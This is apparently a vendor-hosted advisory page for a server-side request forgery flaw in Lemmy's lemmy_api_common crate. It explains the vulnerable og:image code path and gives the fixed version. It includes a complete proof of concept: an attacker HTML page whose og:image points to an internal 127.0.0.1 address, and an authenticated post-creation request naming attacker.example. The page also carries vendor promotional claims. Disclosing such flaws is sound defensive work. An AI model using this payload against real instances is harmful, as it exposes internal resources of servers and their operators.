GHSA-h6hf-9846-xwrq is a medium-severity (CVSS 6.5) Server-Side Request Forgery (SSRF) vulnerability in lemmy_api_common. O3 Security confirms whether GHSA-h6hf-9846-xwrq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-h6hf-9846-xwrq.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-h6hf-9846-xwrq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 356,530 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
lemmy_api_commonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Lemmy fetches metadata for user-supplied post URLs and, under the default StoreLinkPreviews image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted og:image URL is not subject to the same restriction.
As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.
Details
The metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, extract_opengraph_data() accepts absolute og:image values and returns them as-is. Later, generate_post_link_metadata() passes that second-hop image URL into generate_pictrs_thumbnail(), which instructs local pict-rs to fetch it through image/download?url=....
This creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.
Core vulnerable code path:
// crates/api_common/src/request.rs
let metadata = match &post.url {
Some(url) => fetch_link_metadata(url, &context, false).await.unwrap_or_default(),
_ => Default::default(),
};
// crates/api_common/src/request.rs
let og_image = page
.opengraph
.images
.first()
.and_then(|ogo| url.join(&ogo.url).ok());
// crates/api_common/src/request.rs
let thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {
generate_pictrs_thumbnail(&url, &context).await.ok().map(Into::into).or(image_url)
} else {
image_url.clone()
};
// crates/api_common/src/request.rs
let fetch_url = format!(
"{}image/download?url={}&resize={}",
pictrs_config.url,
encode(image_url.as_str()),
context.settings().pictrs_config()?.max_thumbnail_size
);
These snippets show that only the outer page URL is checked, while the extracted og:image value becomes a server-side fetch target without an equivalent internal-address guard.
PoC
Prerequisites:
- The attacker has a valid low-privileged account.
- The instance uses the default link preview storage mode.
- The attacker can post a link to a community they can access.
Practical reproduction flow:
- Host a public HTML page under attacker control.
- Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as
http://127.0.0.1:8081/internal.png. - Create a Lemmy post whose
urlis the attacker-controlled page. - Observe Lemmy fetch the public page, extract
og:image, and then fetch the internal image through pict-rs. - Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached.
Complete PoC attacker page:
<html><head>
<meta property="og:image" content="http://127.0.0.1:8081/internal.png">
</head><body>x</body></html>
Complete PoC request:
POST /api/v3/post HTTP/1.1
Host: victim.example
Authorization: Bearer <low-priv-jwt>
Content-Type: application/json
{
"name": "thumb-ssrf",
"community_id": 1,
"url": "https://attacker.example/og.html",
"body": null,
"alt_text": null,
"honeypot": null,
"nsfw": false,
"language_id": null,
"custom_thumbnail": null
}
Outcome:
- The post creation request succeeds.
- The internal image endpoint receives a request from the Lemmy server.
- The created post is updated with a local
thumbnail_url, indicating that the internal image was fetched and cached.
Impact
This issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy's own thumbnail serving path.
Because the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | lemmy_api_common | all versions | 0.19.18 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemmy_api_common. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update lemmy_api_common to 0.19.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h6hf-9846-xwrq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h6hf-9846-xwrq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h6hf-9846-xwrq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h6hf-9846-xwrq in your dependencies?
O3 detects GHSA-h6hf-9846-xwrq across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.